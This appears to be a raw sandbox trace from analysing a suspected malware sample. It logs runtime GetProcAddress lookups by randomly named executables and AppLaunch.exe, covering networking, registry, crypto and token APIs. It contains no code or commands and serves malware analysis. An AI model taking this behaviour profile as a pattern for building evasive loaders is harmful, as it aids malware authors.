IUnknown_Set (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter FindWindowExW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter RegisterClassNameW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter HIMAGELIST_QueryInterface (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DrawShadowText (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DrawSizeBox (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DrawScrollBar (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter SizeBoxHwnd (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter HandleScrollCmd (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter OleInitialize (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CreateBindCtx (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter RegisterTraceGuidsW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter EventEnabled (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSPropertyBag_WriteDWORD (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoGetApartmentType (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoRegisterInitializeSpy (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoGetMalloc (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PSPropertyBag_ReadGUID (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter RegEnumKeyW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter ApphelpCheckShellObject (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoTaskMemRealloc (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoAllowSetForegroundWindow (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CM_Get_Device_Interface_List_Size_ExW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter SendMessageTimeoutW (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter AllowSetForegroundWindow (UID: 00000000-00003628) "1gT33kS4.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00003628) "2iq2723.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002516) "2iq2723.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002516) "2iq2723.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002516) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DllGetClassObject (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DllCanUnloadNow (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSPStartup (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHOpenSocket2 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHJoinLeaf (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHNotify (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSocketInformation (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHSetSocketInformation (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetSockaddrType (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetWildcardSockaddr (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHGetBroadcastSockaddr (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHAddressToString (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHStringToAddress (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSHIoctl (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter NSPStartup (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryConfigAllocEx (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsNameCompare_W (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiAlloc (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsQueryExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentThreadCompartmentId (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialAddr (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAttemptAutodialName (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSNoteSuccessfulHostentLookup (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsApiFree (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSidSubAuthority (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetKnownFolderPath (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CopySid (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertStringSecurityDescriptorToSecurityDescriptorW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegGetValueA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WinHttpCreateProxyResolver (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpFreeLeaseInfo (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyIpInterfaceChange (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DhcpRequestParams (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter NotifyUnicastIpAddressChange (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetBestInterfaceEx (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetIfEntry2 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetValueA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RegDeleteValueW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DnsGetProxyInformation (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrClientCall2 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringBindingComposeW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFromStringBindingW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcStringFreeW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter RpcBindingFree (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CLSIDFromOle1Class (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCatalogObject2 (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter Dhcpv6QueryLeaseInfo (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertInterfaceNameToLuidW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter NdrOleInitializeExtension (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetMarshalSizeMax (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoMarshalInterface (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoUnmarshalInterface (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromIID (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoGetPSClsid (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CoReleaseMarshalData (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DcomChannelSetHResult (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter LookupAccountNameLocalW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeAddrInfoExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetModuleHandleExW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter LpkEditControl (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter getaddrinfo (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter I_RpcInitFwImports (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter getnameinfo (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASocketA (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00003484) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00003484) "7TG93zJ.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002508) "7TG93zJ.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002508) "8Ui694dn.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002772) "8Ui694dn.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002772) "8Ui694dn.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002772) "8Ui694dn.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002772) "8Ui694dn.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00002772) "AppLaunch.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00003376) "AppLaunch.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00003376) 